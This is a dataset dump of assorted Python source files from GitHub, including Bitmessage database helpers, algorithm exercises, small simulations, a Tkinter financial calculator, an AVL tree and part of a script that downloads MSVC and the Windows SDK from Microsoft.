ax[1].plot(exp_tau, exp_data[exp_data.exp == 'n_pi_s_tau'].SNR,\n marker=marker, color=p[0].get_color())\n for a in ax:\n a.set_xlim(-0.05, 4.25)\n a.set_ylim(-30, -12.5)\n a.yaxis.set_major_locator(plt.MultipleLocator(5))\n a.yaxis.set_minor_locator(plt.MultipleLocator(2.5))\n a.xaxis.set_major_locator(plt.MultipleLocator(1))\n a.set_ylabel('SNR / dB')\n ax[0].set_xticklabels([])\n ax[1].set_xlabel('$\\Delta t$ / ms')\n ax[0].set_title('van der Heijden \\& Trahiotis 1999', pad=15)\n # ax[0].legend(handlelength=1, loc=(0.07, 0.95), ncol=2)\n # ax[1].legend(handlelength=1, loc=(0.07, 0.9), ncol=2)\n ax[0].legend()\n ax[1].legend()\n return ax\n","repo_name":"Jencke/binaural-detection-model","sub_path":"experiments/vanderheijden1999/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"19264311676","text":"\"\"\"\nInsert values into sent table\n\"\"\"\n\nimport time\nimport uuid\nfrom addresses import decodeAddress\nfrom bmconfigparser import config\nfrom helper_ackPayload import genAckPayload\nfrom helper_sql import sqlExecute, sqlQuery\n\n\n# pylint: disable=too-many-arguments\ndef insert(msgid=None, toAddress='[Broadcast subscribers]', fromAddress=None, subject=None,\n message=None, status='msgqueued', ripe=None, ackdata=None, sentTime=None,\n lastActionTime=None, sleeptill=0, retryNumber=0, encoding=2, ttl=None, folder='sent'):\n \"\"\"Perform an insert into the `sent` table\"\"\"\n # pylint: disable=unused-variable\n # pylint: disable-msg=too-many-locals\n\n valid_addr = True\n if not ripe or not ackdata:\n addr = fromAddress if toAddress == '[Broadcast subscribers]' else toAddress\n new_status, addressVersionNumber, streamNumber, new_ripe = decodeAddress(addr)\n valid_addr = True if new_status == 'success' else False\n if not ripe:\n ripe = new_ripe\n\n if not ackdata:\n stealthLevel = config.safeGetInt(\n 'bitmessagesettings', 'ackstealthlevel')\n new_ackdata = genAckPayload(streamNumber, stealthLevel)\n ackdata = new_ackdata\n if valid_addr:\n msgid = msgid if msgid else uuid.uuid4().bytes\n sentTime = sentTime if sentTime else int(time.time()) # sentTime (this doesn't change)\n lastActionTime = lastActionTime if lastActionTime else int(time.time())\n\n ttl = ttl if ttl else config.getint('bitmessagesettings', 'ttl')\n\n t = (msgid, toAddress, ripe, fromAddress, subject, message, ackdata,\n sentTime, lastActionTime, sleeptill, status, retryNumber, folder,\n encoding, ttl)\n\n sqlExecute('''INSERT INTO sent VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)''', *t)\n return ackdata\n else:\n return None\n\n\ndef delete(ack_data):\n \"\"\"Perform Delete query\"\"\"\n sqlExecute(\"DELETE FROM sent WHERE ackdata = ?\", ack_data)\n\n\ndef retrieve_message_details(ack_data):\n \"\"\"Retrieving Message details\"\"\"\n data = sqlQuery(\n \"select toaddress, fromaddress, subject, message, received from inbox where msgid = ?\", ack_data\n )\n return data\n\n\ndef trash(ackdata):\n \"\"\"Mark a message in the `sent` as `trash`\"\"\"\n rowcount = sqlExecute(\n '''UPDATE sent SET folder='trash' WHERE ackdata=?''', ackdata\n )\n return rowcount\n","repo_name":"Bitmessage/PyBitmessage","sub_path":"src/helper_sent.py","file_name":"helper_sent.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":2772,"dataset":"github-code","pt":"23"} +{"seq_id":"74491049658","text":"#\n# @lc app=leetcode.cn id=1221 lang=python3\n#\n# [1221] 分割平衡字符串\n#\n\n# @lc code=start\nclass Solution:\n def balancedStringSplit(self, s: str) -> int:\n ans, sp = 0, 0\n for ch in s:\n if ch == 'R':\n sp += 1\n else:\n sp -= 1\n if sp == 0:\n ans += 1\n return ans\n# @lc code=end\n\n","repo_name":"Ayusummer/DailyNotes","sub_path":"docs/学习路线/算法/LeetCode/CodeStash/1221.分割平衡字符串.py","file_name":"1221.分割平衡字符串.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"23"} +{"seq_id":"2560961029","text":"#array declaration\nprimeArray = []\n\ncheck = 2\n\n#incrementing while loop\nwhile True:\n print(check, end = '')\n prime = True\n for x in primeArray:\n if(check % x == 0):\n prime = False\n\n if(prime):\n print(' is Prime!')\n primeArray.append(check)\n else:\n #new line\n print()\n\n check += 1\n","repo_name":"Lrymarcsuk/pythonProjects","sub_path":"primeFinder.py","file_name":"primeFinder.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"40877525552","text":"import random\r\n\r\nimport PySide.QtGui as QtGui\r\nimport PySide.QtCore as QtCore\r\n\r\nimport GravitionalObject as go\r\nimport Firefly\r\n\r\nQGraphicsScene = QtGui.QGraphicsScene\r\nQPen = QtGui.QPen\r\nQt = QtCore.Qt\r\n\r\n\r\ndef rand_pos():\r\n x = random.randint(1, 15)*50\r\n y = random.randint(1, 11)*50\r\n return QtCore.QPointF(x, y)\r\n\r\n\r\ndef is_gravital(obj):\r\n return isinstance(obj, go.GravitationalObject)\r\n\r\n\r\nclass GameWorld(QGraphicsScene):\r\n def __init__(self):\r\n super(GameWorld, self).__init__()\r\n #\r\n def init_backdrop(self):\r\n for i in range(0, 801, 50):\r\n self.addLine(i, 0, i, 600, QPen(Qt.gray))\r\n for j in range(0, 601, 50):\r\n self.addLine(0, j, 800, j, QPen(Qt.gray))\r\n #\r\n def init(self):\r\n self.init_backdrop()\r\n #\r\n for _ in range(10):\r\n x = random.randint(1, 16)*50\r\n y = random.randint(1, 12)*50\r\n ff = Firefly.Firefly()\r\n ff.init(QtCore.QPointF(x, y))\r\n ff.set_velocity(QtCore.QPointF(random.randint(0, 10) - 5, random.randint(0, 10) - 5))\r\n self.addItem(ff)\r\n #\r\n self.setSceneRect(0, 0, 800, 600)\r\n #\r\n def advance(self):\r\n rc = QtCore.QRectF(self.sceneRect())\r\n for ff in filter(is_gravital, self.items()):\r\n for other in filter(is_gravital, self.items()):\r\n if other != ff:\r\n acc = other.acceleration_between(ff)\r\n ff.adjust_acceleration(acc)\r\n ff.update_pos(rc)\r\n return True\r\n","repo_name":"iglennrogers/swarm_pyside","sub_path":"GameWorld.py","file_name":"GameWorld.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"33113757819","text":"#\nimport tkinter as tk\nimport numpy as np\nimport numpy_financial as fin\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nclass FinancialCalculator(tk.Frame):\n def __init__(self, root):\n super().__init__(root)\n self.discount_rate_label = tk.Label(self, text=\"Discount Rate:\")\n self.discount_rate_entry = tk.Entry(self)\n self.cash_flow_label = tk.Label(self, text=\"Cash Flow:\")\n self.cash_flow_entry = tk.Entry(self)\n self.interest_rate_label = tk.Label(self, text=\"Interest Rate:\")\n self.interest_rate_entry = tk.Entry(self)\n self.irr_button = tk.Button(self, text=\"Calculate IRR\", command=self.calculate_irr)\n self.npv_button = tk.Button(self, text=\"Calculate NPV\", command=self.calculate_npv)\n self.fv_button = tk.Button(self, text=\"Calculate FV\", command=self.calculate_fv)\n self.result_label = tk.Label(self, text=\"Result:\")\n self.result_value_label = tk.Label(self)\n self.periodic_payment_label = tk.Label(self, text=\"Periodic Payment:\")\n self.periodic_payment_entry = tk.Entry(self)\n self.present_value_label = tk.Label(self, text=\"Present Value:\")\n self.present_value_entry = tk.Entry(self)\n \n self.discount_rate_label.grid(row=2, column=0, sticky=\"W\")\n self.discount_rate_entry.grid(row=2, column=1)\n self.cash_flow_label.grid(row=0, column=0, sticky=\"W\")\n self.cash_flow_entry.grid(row=0, column=1)\n self.interest_rate_label.grid(row=1, column=0, sticky=\"W\")\n self.interest_rate_entry.grid(row=1, column=1)\n self.irr_button.grid(row=2, column=3, columnspan=2)\n self.npv_button.grid(row=3, column=3, columnspan=2)\n self.fv_button.grid(row=4, column=3, columnspan=2)\n self.result_label.grid(row=5, column=0, sticky=\"W\")\n self.result_value_label.grid(row=5, column=1) \n self.periodic_payment_label.grid(row=3, column=0, sticky=\"W\")\n self.periodic_payment_entry.grid(row=3, column=1)\n self.present_value_label.grid(row=4, column=0, sticky=\"W\")\n self.present_value_entry.grid(row=4, column=1)\n\n def discount_rate(self):\n discount_rate_str = self.discount_rate_entry.get()\n try:\n discount_rate = float(discount_rate_str)\n except ValueError:\n # Show an error message\n self.result_value_label.configure(text=\"Invalid input\")\n # Return 0 as the discount rate\n return 0\n # Return the discount rate\n return discount_rate\n \n def calculate_irr(self):\n result = 0\n cash_flow = self.get_cash_flow()\n discount_rate = self.get_discount_rate()\n if any(x > 0 for x in cash_flow) and any(x < 0 for x in cash_flow):\n result = fin.irr(cash_flow)\n else:\n self.result_value_label.configure(text=\"Invalid cash flow\")\n # Set the result value in the result label\n self.result_value_label.configure(text=result)\n # Plot the cash flow\n self.plot_cash_flow(cash_flow, result)\n def calculate_npv(self):\n cash_flow = self.get_cash_flow()\n interest_rate = self.get_interest_rate()\n discount_rate = self.get_discount_rate()\n result = fin.npv(discount_rate, cash_flow)\n self.result_value_label.configure(text=result)\n self.plot_cash_flow(cash_flow, result)\n def calculate_fv(self):\n \n cash_flow = self.get_cash_flow()\n interest_rate = self.get_interest_rate()\n result = fin.fv(interest_rate, len(cash_flow), 0, -cash_flow[0], when=\"end\")\n discount_rate = self.get_discount_rate()\n result = fin.fv(discount_rate, len(cash_flow), 0, -cash_flow[0], when=\"end\")\n self.result_value_label.configure(text=result)\n self.plot_cash_flow(cash_flow,result)\n\n def get_cash_flow(self):\n cash_flow_str = self.cash_flow_entry.get()\n try:\n cash_flow = [int(x) for x in cash_flow_str.split(\",\")]\n except ValueError:\n # Show an error message\n self.result_value_label.configure(text=\"Invalid input\")\n # Return an empty list\n return []\n # Return the cash flow list\n return cash_flow\n\n def get_interest_rate(self):\n interest_rate_str = self.interest_rate_entry.get()\n try:\n interest_rate = float(interest_rate_str)\n except ValueError:\n # Show an error message\n self.result_value_label.configure(text=\"Invalid input\")\n # Return 0 as the interest rate\n return 0\n # Return the interest rate\n return interest_rate\n\n def get_discount_rate(self):\n discount_rate_str = self.discount_rate_entry.get()\n try:\n discount_rate = float(discount_rate_str)\n except ValueError:\n # Show an error message\n self.result_value_label.configure(text=\"Invalid input\")\n # Return 0 as the discount rate\n return 0\n # Return the discount rate\n return discount_rate\n\n def plot_cash_flow(self, cash_flow,result):\n # Create a new Figure and Axes\n fig, ax = plt.subplots()\n # Create a range of values from 0 to the number of cash flow entries\n x = range(len(cash_flow))\n # Plot the cash flow valuesS\n ax.plot(x, cash_flow,linestyle=\"solid\")\n ax.text(0.5, 0.5, result, horizontalalignment=\"center\", verticalalignment=\"center\")\n # Create a FigureCanvasTkAgg widget\n canvas = FigureCanvasTkAgg(fig, self)\n # Add the canvas to the GUI window\n canvas.get_tk_widget().grid(row=6, column=0, columnspan=2)\n\n\nroot = tk.Tk()\nroot.title(\"Financial Calculator SCI\")\nroot.geometry(\"800x800\")\nroot.resizable(False, False)\nframe = FinancialCalculator(root)\nframe.pack()\nroot.mainloop()\n","repo_name":"Rayan-taleb/SCI-RayanTaleb-2223","sub_path":"Opdracht_6/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":5626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"45659667737","text":"class Network:\n def __init__(self, env, listNodes, baseStation, listTargets):\n self.env = env\n\n self.listNodes = listNodes\n self.baseStation = baseStation\n self.listTargets = listTargets\n\n self.targets_active = [1 for i in range(len(self.listTargets))]\n baseStation.env = self.env\n baseStation.net = self\n it = 0\n for node in self.listNodes:\n node.env = self.env\n node.net = self\n node.id = it\n it += 1\n it = 0\n for target in listTargets:\n target.id = it\n it += 1\n\n def setLevels(self):\n for node in self.listNodes:\n node.level = -1\n tmp1 = []\n tmp2 = []\n for node in self.baseStation.direct_nodes:\n if node.status == 1:\n node.level = 1\n tmp1.append(node)\n for i in range(len(self.targets_active)):\n self.targets_active[i] = 0\n while True:\n if len(tmp1) == 0:\n break\n for node in tmp1:\n for target in node.listTargets:\n self.targets_active[target.id] = 1\n for neighbor in node.neighbors:\n if neighbor.status == 1 and neighbor.level == -1:\n tmp2.append(neighbor)\n neighbor.level = node.level + 1\n tmp1 = tmp2[:]\n tmp2.clear()\n return\n\n def operate(self, t=1, max_time=1):\n for node in self.listNodes:\n self.env.process(node.operate(t=t))\n self.env.process(self.baseStation.operate(t=t))\n while True:\n yield self.env.timeout(t / 10.0)\n self.setLevels()\n alive = self.check_targets()\n yield self.env.timeout(9.0 * t / 10.0)\n if alive == 0 or self.env.now >= max_time:\n break\n tmp = 0\n for node in self.listNodes:\n if node.status == 0:\n tmp += 1\n return\n\n def check_targets(self):\n return min(self.targets_active)\n","repo_name":"nguyenngocbaocmt02/general-multi-agent-system-wrsn","sub_path":"environments/network/Network.py","file_name":"Network.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"2523844379","text":"class BFS(object):\n def breadthFirstSearch(self, problem):\n \"*** TTU CS3568 YOUR CODE HERE ***\"\n\n #Add start state to closed set\n closed = {problem.getStartState():(problem.getStartState(), '', 0)}\n\n #get successors of start state\n #successors = problem.getSuccessors(problem.getStartState())\n\n #create fringe data structure (queue for BFS)\n fringe = util.Queue()\n\n #push successors to stack\n fringe.push([(problem.getStartState(), '', 0)])\n\n #as long as fringe is not empty\n while not fringe.isEmpty():\n\n #extract the final layer of tree/graph\n nodes = fringe.pop()\n\n #if final layer has no nodes then drop the final layer and continue loop with upper layers\n #if len(nodes)==0:\n #continue\n\n #if final layer is not empty, extract the last node from final layer\n node = nodes.pop()\n\n #separate out position, direction and cost of the node\n (position, direction, cost) = node\n if problem.isGoalState(position):\n path = []\n n = nodes.pop(0)\n while nodes:\n n = nodes.pop(0)\n (position, direction, cost) = n\n path.append(direction)\n (position, direction, cost) = node\n path.append(direction)\n return path\n\n successors = problem.getSuccessors(position)\n #closed[position] = node\n\n #if node is already in closed set, put the final layer back on fringe and continue with remaining nodes\n #if position in closed:\n #fringe.push(nodes)\n #continue\n\n for s in successors:\n (position, direction, cost) = s\n if position in closed:\n continue\n n = nodes[:]\n n.append(node)\n n.append(s)\n fringe.push(n)\n closed[position] = s\n\n\n #if node is not in closed set, add it to the closed set\n #closed[position] = node\n\n #if current node is goal state\n #if problem.isGoalState(position):\n\n #create a stack of directioons and push all directions onto it from the final layer of tree/graph to the root\n #directions = util.Stack()\n #directions.push(direction)\n #while not fringe.isEmpty():\n #nodes = fringe.pop()\n #node = nodes.pop()\n #(position, direction, cost) = node\n #directions.push(direction)\n\n #create a path variable that will hold the path to follow (directions in the reverse order)\n #path = []\n\n #as long as directions is not empty, put the directions into path in the reverse order\n #while not directions.isEmpty():\n #direction = directions.pop()\n #if direction=='South':\n #path.append(Directions.SOUTH)\n #elif direction=='West':\n #path.append(Directions.WEST)\n #elif direction=='North':\n #path.append(Directions.NORTH)\n #elif direction=='East':\n #path.append(Directions.EAST)\n\n #return result\n #return path\n\n #if the current node is not goal, get its successors\n #successors = problem.getSuccessors(position)\n\n #put the nodes back on fringe\n #nodes.append(node)\n #fringe.push(nodes)\n\n #push the successors as the next layer on fringe\n #fringe.push(successors)\n\n #FAILED to find the goal nodee. What to do?\n print(\"FAILED to find the goal node. What to do?\")\n return []\n","repo_name":"ashishkakar/CS5368","sub_path":"CS3568_Project1/Oldbfs.py","file_name":"Oldbfs.py","file_ext":"py","file_size_in_byte":3959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74789852210","text":"from zoneinfo import available_timezones\nfrom scipy.optimize import minimize\nimport numpy\n\n# operators = [\"KC\", \"DH\", \"HB\", \"SC\", \"KS\", \"NK\"]\nweek = [\"M\", \"T\", \"W\", \"R\", \"F\"]\n\noperators_reverse_order = [\"NK\", \"KS\", \"DH\", \"KC\", \"HB\", \"SC\"]\nwage_reverse_order = [11.30, 10.80, 10.10, 10.00, 9.90, 9.80]\navailabilities = {\"KC\": [6,0,6,0,6], \"DH\": [0,6,0,6,0], \"HB\": [4,8,4,0,4], \"SC\": [5,5,5,0,5], \"KS\": [3,0,3,8,0] , \"NK\": [0,0,0,6,2] }\n\n\noperators_wages = {\"KC\": 10.00, \"DH\": 10.10, \"HB\": 9.90, \"SC\": 9.80, \"KS\": 10.80, \"NK\": 11.30}\nstudent_status = {\"KC\": \"u\", \"DH\": \"u\", \"HB\": \"u\", \"SC\": \"u\", \"KS\": \"g\", \"NK\": \"g\"}\noperators_hours = [0, 0, 0, 0, 0, 0]\nhours_remaining = 70\n\n\ndef optimize_by_operator(ops):\n \n cost = 0\n total_hours_worked = 0\n lists = []\n hours_per_day = [0,0,0,0,0]\n full_days = [False, False, False, False, False]\n for op in ops:\n availability = availabilities[op]\n \n hours_remaining = 0\n if student_status[op] == \"u\":\n hours_remaining = 8\n elif student_status[op] == \"g\":\n hours_remaining = 7\n \n working_hours = [0,0,0,0,0]\n \n for index in range(len(week)):\n if full_days[index] == False:\n if availability[index] < hours_remaining:\n if 14 - availability[index] < hours_per_day[index]:\n # i = 14 - hours_per_day[index]\n # availability[index] -= i\n hours = 14 - hours_per_day[index]\n availability[index] -= hours\n i = availability[index] * operators_wages[op]\n cost += i\n working_hours[index] += hours\n total_hours_worked += hours\n hours_per_day[index] += hours\n availability[index] -= hours\n hours_remaining -= hours\n full_days[index] = True\n \n else:\n i = availability[index] * operators_wages[op]\n cost += i\n working_hours[index] += availability[index]\n total_hours_worked += availability[index]\n hours_per_day[index] += availability[index]\n hours_remaining -= availability[index]\n availability[index] = 0\n else:\n i = hours_remaining * operators_wages[op]\n cost += i\n working_hours[index] += hours_remaining\n total_hours_worked += hours_remaining\n hours_per_day[index] += hours_remaining\n availability[index] -= hours_remaining\n hours_remaining = 0\n lists.append(working_hours)\n break\n \n hours_left = 70 - total_hours_worked\n while hours_left > 0:\n print(\"\")\n hours_left -= 1\n return cost, total_hours_worked, lists\n\nprint(optimize_by_operator(operators_reverse_order))\n\n\n\n\n#Objective function: minimize cost while completing hours, meeting minimum requirements, time availabilities\ndef cost_function():\n cost = 0\n for o in operators_wages:\n if student_status[o] == \"u\":\n cost += (8 * operators_wages[o])\n print(cost)\n elif student_status[o] == \"g\":\n cost += (7 * operators_wages[o])\n print(cost)\n else:\n print(\"Failed\")\n return cost\n \n# minimize(cost_function(), 50)\n\n\n# this function takes in the wages dictionary and returns the wages in reverse order\ndef order_by_wages_reversed(dictionary):\n values = []\n for value in dictionary.values():\n values.append(value)\n values.sort()\n values.reverse()\n return values\n\n# this function takes in the wages dictionary and returns the wages in regular order\ndef order_by_wages(dictionary):\n values = []\n for value in dictionary.values():\n values.append(value)\n values.sort()\n return values\n\n# by day, by person (wage), find holes\n\ndef optimize_by_day():\n for day in week:\n day_hours_remaining = 14\n wages = order_by_wages_reversed(operators_wages)\n \n \n return\n\n\n","repo_name":"tvermani13/ACT-Driving-Simulator","sub_path":"optimization.py","file_name":"optimization.py","file_ext":"py","file_size_in_byte":4341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"7008394575","text":"class AVLNode():\n def __init__(self, key):\n self.key = key\n self.left = None\n self.right = None\n self.height = 1\n self.num = 1\n\n def increment(self):\n self.num += 1\n\n def decrement(self):\n self.num -= 1\n\n\nclass AVL_Tree(object):\n def __init__(self):\n self.list_preorder = []\n # recursive function\n # 1. insert key in subtree rooted with node\n # 2. return new root of subtree\n def insert(self, root, key):\n # starts like in BST tree\n if not root:\n return AVLNode(key)\n elif key == root.key: # if node with that key exits, increment counter in node\n root.increment()\n elif key < root.key:\n root.left = self.insert(root.left, key)\n else:\n root.right = self.insert(root.right, key)\n\n # update height of 'root' node of the subtree\n max_child = max(self.get_height(root.left), self.get_height(root.right))\n root.height = 1 + max_child\n\n # calculate the balance factor\n # and rebalance tree (if needed)\n balance = self.get_balance(root)\n\n '''\n There are 4 different cases to rebalance tree\n It depends on nodes position before balancing\n\n '''\n # nodes positions: Left Left\n if balance > 1 and key < root.left.key:\n return self.rotate_right(root)\n\n # nodes positions: Right Right\n if balance < -1 and key > root.right.key:\n return self.rotate_left(root)\n\n # Right Left\n if balance < -1 and key < root.right.key:\n root.right = self.rotate_right(root.right)\n return self.rotate_left(root)\n\n # Left Right\n if balance > 1 and key > root.left.key:\n root.left = self.rotate_left(root.left)\n return self.rotate_right(root)\n\n return root\n\n def rotate_left(self, z):\n\n y = z.right\n T2 = y.left\n\n # rotation\n y.left = z\n z.right = T2\n\n # update heights\n max_h = max(self.get_height(z.left), self.get_height(z.right))\n z.height = 1 + max_h\n max_h = max(self.get_height(y.left), self.get_height(y.right))\n y.height = 1 + max_h\n\n # return new root\n return y\n\n def rotate_right(self, z):\n\n y = z.left\n T3 = y.right\n\n # rotation\n y.right = z\n z.left = T3\n\n # update heights\n max_h = max(self.get_height(z.left), self.get_height(z.right))\n z.height = 1 + max_h\n max_h = max(self.get_height(y.left), self.get_height(y.right))\n y.height = 1 + max_h\n\n # return new root\n return y\n\n def get_height(self, root):\n if not root:\n return 0\n\n return root.height\n\n def get_balance(self, root):\n if not root:\n return 0\n\n return self.get_height(root.left) - self.get_height(root.right)\n\n def preorder(self, root):\n if not root:\n return\n\n self.list_preorder.append(root.key)\n self.preorder(root.left)\n self.preorder(root.right)\n\n def delete(self, root, key):\n # delete given key from subtree with given root.\n # returns root of the modified subtree.\n\n # standard BST delete\n if not root:\n return root\n\n elif key < root.key:\n root.left = self.delete(root.left, key)\n elif key > root.key:\n root.right = self.delete(root.right, key)\n else:\n if root.num > 1:\n root.num -= 1\n else:\n if root.left is None:\n temp = root.right\n root = None\n return temp\n\n elif root.right is None:\n temp = root.left\n root = None\n return temp\n\n temp = self.get_min(root.right)\n root.key = temp.key\n root.right = self.delete(root.right, temp.key)\n\n # if the tree has only one node\n # return it\n if root is None:\n return root\n\n # update the height of the ancestor node\n root.height = 1 + max(self.get_height(root.left), self.get_height(root.right))\n\n # calculate the balance factor\n balance = self.get_balance(root)\n\n # rebalance\n\n # Left Left\n if balance > 1 and self.get_balance(root.left) >= 0:\n return self.rotate_right(root)\n\n # Right Right\n if balance < -1 and self.get_balance(root.right) <= 0:\n return self.rotate_left(root)\n\n # Right Left\n if balance < -1 and self.get_balance(root.right) > 0:\n root.right = self.rotate_right(root.right)\n return self.rotate_left(root)\n\n # Left Right\n if balance > 1 and self.get_balance(root.left) < 0:\n root.left = self.rotate_left(root.left)\n return self.rotate_right(root)\n\n return root\n\n def get_min(self, root):\n if root is None or root.left is None:\n return root\n\n return self.get_min(root.left)\n\n\n# myTree = AVL_Tree()\n# root = None\n\n# root = myTree.insert(root, 1)\n# root = myTree.insert(root, 4)\n# root = myTree.insert(root, 5)\n# lista = []\n# myTree.preorder(root)\n# print(myTree.list_preorder)\n","repo_name":"ASypula/AlgorithmicTasks","sub_path":"Lab_2/AVL.py","file_name":"AVL.py","file_ext":"py","file_size_in_byte":5351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21555129008","text":"#!/usr/bin/env python3\n\n# This script has been gratefully sourced from Martins Mozeiko of HMN\n# https://gist.github.com/mmozeiko/7f3162ec2988e81e56d5c4e22cde9977\n#\n# Further modifications by https://github.com/doy-lee with the primary purpose\n# of facilitating multiple versions to be stored in the same root directory\n# ('Redist' in the SDK was unversioned, store it versioned like all other\n# folders, skip the downloading of MSVC or the SDK if we only need one of them).\n#\n# Changelog\n# 2023-04-15\n# - Fix \"msvc-{version}.bat\" script generating trailing \"\\;\" on\n# VCToolsInstallDir environment variable. clang-cl relies on this variable to\n# identify the location of the Visual Studio toolchain or otherwise reports a\n# program invocation error during the linking stage.\n#\n# 2023-01-30\n# - Generate the short-hand version of the msvc-{version}.bat and\n# win-sdk-{version}.bat using the versions passed as the argument parameter.\n# - Fix win-sdk-{version}.bat overwriting the INCLUDE and LIB environment\n# variables instead of appending.\n#\n# 2023-01-28\n# - Inital revision from mmozeiko\n# https://gist.github.com/mmozeiko/7f3162ec2988e81e56d5c4e22cde9977/6863f19cb98b933c7535acf3d59ac64268c6bd1b\n# - Add individual scripts to source variables for MSVC and Windows 10\n# separately \"msvc-{version}.bat\" and \"win-sdk-{version}.bat\"\n# - Add '--no-sdk' and '--no-msvc' to prevent the download and installation of\n# the Windows SDK and MSVC respectively.\n# - Installation used to create 'Windows Kit/10/Redist' and unpack a D3D and MBN\n# folder without being versioned. These folders are now placed under\n# a versioned sub-directory to preserve the binaries and allow subsequent\n# side-by-side installation of other versions of the SDK.\n\nimport io\nimport os\nimport sys\nimport json\nimport shutil\nimport hashlib\nimport zipfile\nimport tempfile\nimport argparse\nimport subprocess\nimport urllib.request\nfrom pathlib import Path\n\nOUTPUT = Path(\"msvc\") # output folder\n\n# other architectures may work or may not - not really tested\nHOST = \"x64\" # or x86\nTARGET = \"x64\" # or x86, arm, arm64\n\nMANIFEST_URL = \"https://aka.ms/vs/17/release/channel\"\n\n\ndef download(url):\n with urllib.request.urlopen(url) as res:\n return res.read()\n\ndef download_progress(url, check, name, f):\n data = io.BytesIO()\n with urllib.request.urlopen(url) as res:\n total = int(res.headers[\"Content-Length\"])\n size = 0\n while True:\n block = res.read(1<<20)\n if not block:\n break\n f.write(block)\n data.write(block)\n size += len(block)\n perc = size * 100 // total\n print(f\"\\r{name} ... {perc}%\", end=\"\")\n print()\n data = data.getvalue()\n digest = hashlib.sha256(data).hexdigest()\n if check.lower() != digest:\n exit(f\"Hash mismatch for f{pkg}\")\n return data\n\n# super crappy msi format parser just to find required .cab files\ndef get_msi_cabs(msi):\n index = 0\n while True:\n index = msi.find(b\".cab\", index+4)\n if index < 0:\n return\n yield msi[index-32:index+4].decode(\"ascii\")\n\ndef first(items, cond):\n return next(item for item in items if cond(item))\n \n\n### parse command-line arguments\n\nap = argparse.ArgumentParser()\nap.add_argument(\"--show-versions\", const=True, action=\"store_const\", help=\"Show available MSVC and Windows SDK versions\")\nap.add_argument(\"--accept-license\", const=True, action=\"store_const\", help=\"Automatically accept license\")\nap.add_argument(\"--msvc-version\", help=\"Get specific MSVC version\")\nap.add_argument(\"--sdk-version\", help=\"Get specific Windows SDK version\")\nap.add_argument(\"--no-msvc\", const=True, action=\"store_const\", help=\"Skip download and installing of msvc\")\nap.add_argument(\"--no-sdk\", const=True, action=\"store_const\", help=\"Skip download and installing of Windows SDK\")\nargs = ap.parse_args()\n\n### get main manifest\n\nmanifest = json.loads(download(MANIFEST_URL))\n\n\n### download VS manifest\n\nvs = first(manifest[\"channelItems\"], lambda x: x[\"id\"] == \"Microsoft.VisualStudio.Manifests.VisualStudio\")\npayload = vs[\"payloads\"][0][\"url\"]\n\nvsmanifest = json.loads(download(payload))\n\n\n### find MSVC & WinSDK versions\n\npackages = {}\nfor p in vsmanifest[\"packages\"]:\n packages.setdefault(p[\"id\"].lower(), []).append(p)\n\nmsvc = {}\nsdk = {}\n\nfor pid,p in packages.items():\n if pid.startswith(\"Microsoft.VisualStudio.Component.VC.\".lower()) and pid.endswith(\".x86.x64\".lower()):\n pver = \".\".join(pid.split(\".\")[4:6])\n if pver[0].isnumeric():\n msvc[pver] = pid\n elif pid.startswith(\"Microsoft.VisualStudio.Component.Windows10SDK.\".lower()) or \\\n pid.startswith(\"Microsoft.VisualStudio.Component.Windows11SDK.\".lower()):\n pver = pid.split(\".\")[-1]\n if pver.isnumeric():\n sdk[pver] = pid\n\nif args.show_versions:\n print(\"MSVC versions:\", \" \".join(sorted(msvc.keys())))\n print(\"Windows SDK versions:\", \" \".join(sorted(sdk.keys())))\n exit(0)\n\ninstall_sdk = not args.no_sdk\ninstall_msvc = not args.no_msvc\nif args.no_sdk and args.no_msvc:\n exit()\n\nmsvc_ver = args.msvc_version or max(sorted(msvc.keys()))\nsdk_ver = args.sdk_version or max(sorted(sdk.keys()))\n\ninfo_line = \"Downloading\"\nif install_msvc:\n if msvc_ver in msvc:\n msvc_pid = msvc[msvc_ver]\n msvc_ver = \".\".join(msvc_pid.split(\".\")[4:-2])\n else:\n exit(f\"Unknown MSVC version: f{args.msvc_version}\")\n info_line += f\" MSVC v{msvc_ver}\"\n\nif install_sdk:\n if sdk_ver in sdk:\n sdk_pid = sdk[sdk_ver]\n else:\n exit(f\"Unknown Windows SDK version: f{args.sdk_version}\")\n info_line += f\" Windows SDK v{sdk_ver}\"\n\nprint(info_line)\n\n\n### agree to license\n\ntools = first(manifest[\"channelItems\"], lambda x: x[\"id\"] == \"Microsoft.VisualStudio.Product.BuildTools\")\nresource = first(tools[\"localizedResources\"], lambda x: x[\"language\"] == \"en-us\")\nlicense = resource[\"license\"]\n\nif not args.accept_license:\n accept = input(f\"Do you accept Visual Studio license at {license} [Y/N] ? \")\n if not accept or accept[0].lower() != \"y\":\n exit(0)\n\nOUTPUT.mkdir(exist_ok=True)\ntotal_download = 0\n\n### download MSVC\n\nif install_msvc:\n msvc_packages = [\n # MSVC binaries\n f\"microsoft.vc.{msvc_ver}.tools.host{HOST}.target{TARGET}.base\",\n f\"microsoft.vc.{msvc_ver}.tools.host{HOST}.target{TARGET}.res.base\",\n # MSVC headers\n f\"microsoft.vc.{msvc_ver}.crt.headers.base\",\n # MSVC libs\n 